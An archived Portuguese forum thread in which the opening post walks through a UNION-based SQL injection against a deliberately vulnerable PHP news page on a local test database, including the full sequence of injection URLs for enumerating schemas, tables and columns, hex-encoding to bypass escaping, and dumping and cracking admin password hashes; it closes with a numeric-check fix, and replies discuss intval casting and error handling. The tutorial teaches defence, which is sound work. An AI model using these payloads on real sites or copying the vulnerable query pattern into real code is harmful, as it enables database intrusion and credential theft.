Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Jefrey

Não era para ser vulnerável...

Recommended Posts

Olá.

Neste artigo você vai ver um caso em que duas funções de proteção contra injeção de SQL, addslashes() e mysql_real_escape_string(), falham e permitem ao atacante invadir o website.

Para provar isso, vou pedir que você crie um novo banco de dados no MySQL e rode a query:

SET NAMES utf8;
SET foreign_key_checks = 0;
SET time_zone = 'SYSTEM';
SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';

CREATE TABLE `admin` (
 `login` varchar(255) NOT NULL,
 `senha` varchar(255) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

INSERT INTO `admin` (`login`, `senha`) VALUES
('joao',	'21232f297a57a5a743894a0e4a801fc3'),
('maria',	'49f8aa089b957fe92343d08032b3b436');

CREATE TABLE `noticias` (
 `id` int(11) NOT NULL,
 `titulo` varchar(255) NOT NULL,
 `texto` text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

INSERT INTO `noticias` (`id`, `titulo`, `texto`) VALUES
(1,	'Lorem ipsum dolor sit amet',	'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas volutpat elit ut dolor feugiat sit amet dapibus velit sodales. Nunc posuere, mi eu euismod posuere, risus dui dictum est, id iaculis mi erat a diam. Quisque eget ante at magna aliquam consectetur et id felis. Donec accumsan dapibus mi id facilisis. Maecenas at mauris erat. Nunc consectetur nulla id nisl fringilla at eleifend urna volutpat. Sed pellentesque ligula sit amet magna molestie vitae iaculis risus accumsan. Morbi eget mattis nibh. Morbi tortor risus, adipiscing quis auctor at, pulvinar quis dolor.\n\nMorbi ac tempor turpis. Nulla sit amet lectus enim, eget aliquet lorem. Aliquam sit amet nunc in sem tempor rhoncus id ut odio. Morbi condimentum ipsum in urna tempus dapibus. Duis a eleifend dui. Sed condimentum semper blandit. Praesent in justo eget lorem tempus tincidunt vel non tortor. Aliquam quis dictum orci. Nulla dictum lobortis posuere. Donec eleifend cursus orci eu fringilla. Donec volutpat elit eget nibh egestas quis pharetra enim dictum. Nam tortor orci, suscipit at aliquam sed, blandit vitae odio.\n\nCurabitur rhoncus nisi blandit elit fringilla vitae varius nulla sollicitudin. Pellentesque elementum, ante sed bibendum ornare, sapien quam pellentesque lectus, vitae aliquam libero libero sit amet mi. Praesent tellus tortor, volutpat at placerat non, fringilla a nunc. Nulla laoreet lacinia justo, in gravida tellus ultricies sit amet. Nulla pulvinar tortor condimentum leo cursus eleifend. Curabitur faucibus leo in magna varius at lobortis purus vulputate. Praesent venenatis leo et lorem egestas bibendum varius magna facilisis. Nam id urna elit, vitae sagittis augue. Ut non elit vel nisl rutrum elementum a a risus. Integer id nibh ut magna scelerisque vehicula. Donec sit amet odio sed magna suscipit dapibus eget vel tellus. Proin lacinia ipsum at diam placerat iaculis. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Quisque suscipit ultricies sollicitudin. Nullam nec sodales nisl. Donec vehicula odio a nisl posuere id vestibulum libero congue.\n\nNam non velit diam. Pellentesque consequat accumsan venenatis. Cras egestas rhoncus luctus. Ut eu nibh urna, ac pharetra nisi. Maecenas dapibus laoreet augue, eget placerat lectus blandit a. Integer semper accumsan velit vel rutrum. Proin commodo pharetra justo, id rhoncus sem mattis sed. Nullam adipiscing hendrerit faucibus. Nullam fermentum pharetra massa gravida congue. Integer at tortor non lectus accumsan lobortis. Aliquam blandit egestas vestibulum. Suspendisse tincidunt cursus arcu.\n\nNulla est neque, feugiat aliquam malesuada eu, consequat in velit. Praesent et nunc erat. Nunc lacus ipsum, bibendum at dignissim ac, posuere sed metus. Curabitur facilisis magna nec tellus sollicitudin vel cursus mauris ullamcorper. Sed neque libero, commodo et vehicula et, venenatis eget odio. Pellentesque scelerisque orci in ligula sollicitudin eu fermentum diam placerat. Duis malesuada condimentum massa, a luctus risus euismod in. Nunc risus ante, lacinia volutpat adipiscing sed, venenatis at nisl. Sed vestibulum fermentum libero, at tristique odio adipiscing vitae.'),
(2,	'Neque porro quisquam est qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit',	'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse nibh purus, hendrerit non sagittis eget, ultricies sed mi. Suspendisse in imperdiet odio. Morbi malesuada mattis semper. Aenean non nibh dui. Quisque rutrum condimentum nunc, et placerat justo vulputate vel. Proin tempor mattis lacus, convallis auctor mauris auctor id. Vestibulum nisi lectus, feugiat sit amet ullamcorper eu, auctor sed velit. Praesent aliquam mollis libero, eu tincidunt libero malesuada sed. Maecenas accumsan urna urna. Nulla turpis orci, suscipit nec euismod vitae, feugiat a massa. Aliquam non sem eget sem condimentum ullamcorper. Donec augue leo, auctor imperdiet faucibus ut, imperdiet eu nulla. Donec et quam neque. Nunc sagittis egestas convallis. Duis in sem porttitor dui dictum facilisis eget sed risus. Quisque ultricies justo id leo auctor vehicula lobortis ligula posuere.\n\nPraesent enim lacus, posuere quis rhoncus vel, tempus non nunc. Cras euismod mattis diam ac tempor. Mauris id orci arcu. Fusce eleifend feugiat est ut porttitor. Curabitur id erat sit amet tortor rutrum tempus sed eget enim. Sed fringilla viverra eros sed commodo. Quisque purus turpis, tincidunt vitae feugiat in, sagittis eu dolor. Praesent malesuada consequat tortor. Aliquam sed ante urna, ac mollis metus. Etiam at pretium enim.\n\nFusce euismod mattis ligula, eu rutrum erat blandit eget. Praesent non varius libero. Maecenas viverra elit sed neque aliquam a tincidunt risus eleifend. Curabitur tincidunt, arcu quis congue faucibus, nunc justo tincidunt risus, eu suscipit turpis urna non erat. Morbi mattis condimentum mauris ac tempus. Morbi vulputate dui non eros pulvinar tempus. Morbi fringilla ornare mauris, eu bibendum diam feugiat tincidunt. Donec euismod, urna sed lacinia volutpat, nisi velit cursus odio, quis fermentum sem lectus eget mauris. Mauris condimentum scelerisque vehicula. Duis sed enim lacus. Suspendisse potenti. Morbi suscipit lobortis convallis. Nunc sem libero, sollicitudin venenatis eleifend quis, euismod in justo. Nunc sodales mollis vulputate. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.\n\nNunc ac est urna. Sed mollis ipsum in orci dapibus eu pharetra dui eleifend. Quisque quis ligula mauris, eget bibendum magna. Pellentesque non urna augue, in vulputate augue. Integer eleifend accumsan sem quis facilisis. Aenean eleifend mi sed augue imperdiet sed fermentum nisl sodales. Aenean hendrerit ante ut nunc dignissim scelerisque. Integer vel mollis nunc.\n\nDonec eu est vitae quam tincidunt feugiat eu sit amet libero. In a consequat nisl. Sed sit amet nibh sit amet leo bibendum condimentum vestibulum eget leo. Donec id sagittis mauris. Vivamus massa metus, ullamcorper sit amet scelerisque ut, adipiscing a lectus. Maecenas volutpat lectus a est eleifend iaculis. Etiam arcu tellus, luctus luctus venenatis et, facilisis suscipit est. Ut convallis ornare erat tincidunt viverra. Pellentesque non massa sed turpis hendrerit ultrices. In neque orci, malesuada interdum tincidunt at, posuere eu justo. Aenean in dapibus ante. Ut tincidunt luctus ante at imperdiet. Vestibulum ultrices ullamcorper feugiat. Nulla facilisi.');

Isto irá criar duas tabelas na base: "noticias" e "admin". Na primeira tabela, são inseridas duas notícias (textos Lorem Ipsum), e na segunda, são inseridos login e senha - criptografada em MD5 - de dois usuários.

Nossa missão: Obter os dados da tabela "admin".

Para isso, imagine que este é a página de notícias do website alvo:

<?php
$server = 'localhost'; // configure aqui
$login = 'root'; // configure aqui
$senha = '1708'; // configure aqui
$servidor = 'sqli'; // configure aqui

mysql_connect($server, $login, $senha) or die(mysql_error());
mysql_select_db($servidor) or die(mysql_error());

$id = mysql_real_escape_string($_GET['id']);
$id = addslashes($id);

$qry = mysql_query("SELECT * FROM noticias WHERE id=$id");
while($row = mysql_fetch_array($qry)) {
 $titulo = $row['titulo'];
 $texto = $row['texto'];
}
mysql_close();
?>
<html>
<head>
<title><?php echo $titulo; ?></title>
</head>
<body>
<b><?php echo $titulo; ?></b><br>
<?php echo $texto; ?>
</body>
</html>

Rode este script em localhost, lembrando de configurar o princípio do mesmo. Note que, para provar de uma vez por todas o conceito, eu utilizei as duas funções que estão sendo postas à prova, juntas. Toda esta proteção vai falhar. Duvida?

Então vamos lá. Primeiro, vamos acessar normalmente as notícias 1 e 2:


  •  
  • noticia.php?id=1
  • noticia.php?id=2

Agora, vamos inserir uma aspa na URL, de forma a causar o erro e confirmar a vulnerabilidade:


  •  
  • noticia.php?id='1

Tudo ok? Erro aparecendo:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/noticia.php on line 14

Então realmente houve um erro. Agora vamos utilizar o ORDER BY para identificar o número de colunas existente na tabela atual. Iremos também utilizar --+ para comentar e inutilizar o restante da query, se houver.


  •  
  • noticia.php?id=1 order by 1--+
  • noticia.php?id=1 order by 2--+
  • noticia.php?id=1 order by 3--+
  • noticia.php?id=1 order by 4--+

Note que nos 3 primeiros testes, a notícia é exibida corretamente. Já no último, houve um erro. Isto indica que a coluna #4 não existe. Sendo assim, temos 3 colunas na tabela atual.

Agora vamos utilizar o UNION ALL para identificar para onde vai o conteúdo de cada coluna:


  •  
  • noticia.php?id=-1 union all select 1,2,3--+

Note que a coluna 1 não retorna dados. É porque ela é a identificação da notícia, usada na condição WHERE, certo? As colunas 2 e 3 contém, respectivamente, o título e o texto da notícia.

Primeiramente, vamos obter alguns dados que aparecerão no lugar da coluna 3 (conteúdo da notícia). Vamos obter o nome do banco de dados atual, a versão e o usuário do mysql. Para obter 3 dados em apenas 1 campo, usamos o concat().


  •  
  • noticia.php?id=-1 union all select 1,2,concat(user(),0x3c3d3e,database(),0x3c3d3e,version())--+

Se a versão do MySQL for maior que 5, teremos o information_schema, que nos ajudará bastante.

Agora vamos obter todos as bases de dados do servidor. Para isso, vamos usar a coluna 2 (título) e a tabela 'schemata' do information_schema.


  •  
  • noticia.php?id=-1 union all select 1,schema_name,concat(user(),0x3c3d3e,database(),0x3c3d3e,version()) from information_schema.schemata limit 0,1--+
  • noticia.php?id=-1 union all select 1,schema_name,concat(user(),0x3c3d3e,database(),0x3c3d3e,version()) from information_schema.schemata limit 1,1--+

Vamos aumentar o LIMIT de 0,1 para 1,1 2,1 3,1 4,1 até gerar erro, que indicará o fim da lista.

Agora vamos obter o nome de todas as tabelas do banco de dados atual:


  •  
  • noticia.php?id=-1 union all select 1,table_name,concat(user(),0x3c3d3e,database(),0x3c3d3e,version()) from information_schema.tables where table_schema=database() limit 0,1--+

Note que não estamos utilizando aspas, então o ataque é bem-sucedido. Vamos alterando o limit e note que conseguimos obter "admin" e "noticias" e um erro.

Agora, vamos pegar o nome de todas as colunas da tabela "admin", que julgamos nos interessar.Veja como é feito:


  •  
  • noticia.php?id=-1 union all select 1,column_name,concat(user(),0x3c3d3e,database(),0x3c3d3e,version()) from information_schema.columns where table_name=('admin') and table_schema=database() limit 0,1--+

Mas aí temos um problema: na condição where, utilizamos aspas para indicar o nome da tabela. Nossas aspas foram escapadas e não temos como continuar, certo? Errado.

O que faremos é converter o nome da tabela para hexadecimal. admin em hexa fica 0x61646d696e. Vamos ver como ficaremos:


  •  
  • noticia.php?id=-1 union all select 1,column_name,concat(user(),0x3c3d3e,database(),0x3c3d3e,version()) from information_schema.columns where table_name=0x61646d696e and table_schema=database() limit 0,1--+

Vamos alterando o limit e veja que conseguimos obter "login" e "senha". Vamos então, enfim, obter os dados desta tabela, utilizando o concat() para pegar mais de um dado:


  •  
  • noticia.php?id=-1 union all select 1,concat(login,0x3c3d3e,senha),concat(user(),0x3c3d3e,database(),0x3c3d3e,version()) from sqli.admin limit 0,1

0x3c3d3e significa '<=>' e utilizamos estes símbolos para separar um dado do outro, para não nos confundirmos.

Vá alterando o limit e veja que conseguimos obter:

joao<=>21232f297a57a5a743894a0e4a801fc3
maria<=>49f8aa089b957fe92343d08032b3b436

Para terminar, vamos descriptografar essas hashs md5, utilizando o MD5Decrypter, que usa um banco de dados com várias hashs:

21232f297a57a5a743894a0e4a801fc3 MD5 : admin
49f8aa089b957fe92343d08032b3b436 [Not Found] - não conseguimos neste caso

Viu só? Utilizamos as duas funções, e estas não nos foram úteis.

O que fazer então? No lugar de colocar as duas funções, neste caso, inúteis, já que receberemos apenas números, podemos fazer:

$id = is_numeric($_GET['id']) ? $_GET['id'] : die();

Ou seja, se $_GET['id'] for numérico, seu valor será atribuído à variável $id. Caso contrário, o script morrerá (irá parar sua execução).

 

Simples, não? :D

Compartilhar este post


Link para o post
Compartilhar em outros sites

Quase, mas eu prefiro usar outra pegada. Fazer o cast do parâmetro para inteiro. Isto me permite usar uma URL "semi-amigável" de forma simples:

 

// URL - www.site.com.br/noticias.php?id=1-titulo-da-noticia-que-nao-vai-importar-para-nada
$id = intval($_GET['id']);
var_dump($id); // int(1);

 

Carlos Eduardo

Compartilhar este post


Link para o post
Compartilhar em outros sites

$id = is_numeric($_GET['id']) ? $_GET['id'] : die();

Ou seja, se $_GET['id'] for numérico, seu valor será atribuído à variável $id. Caso contrário, o script morrerá (irá parar sua execução).

nunca, absolutamente nunca faça isso em produção.

 

somente use die() para falhar, em fase de desenvolvimento.

em produção falhe de forma elegante, apresentando conteudo e informando o usuario oq aconteceu, e não de forma bruta com tela branca.

Compartilhar este post


Link para o post
Compartilhar em outros sites

kkk falou como se fosse um crime :lol:

Brincadeira, mas eu só dei um exemplo. Geralmente, eu envio para a página de erro 404 :D

E, geralmente, minhas páginas de erro 404 possuem uma busca automática.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Hi.

 

Mas dependendo da query, mysql_real_escape_string() não tem o que proteger mesmo.

Geralmente é utilizado em sistemas de logins onde há quotes para bypassear. A addslashes() é burlável através da codificação, inclusive já escrevi um artigo sobre essa falha descoberta pelo pesquisador Chris Shiflett. Neste caso (ataques do tipo MySQL Union), não há escapes para burlar. A query é injetável por si só.

 

[]'s

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.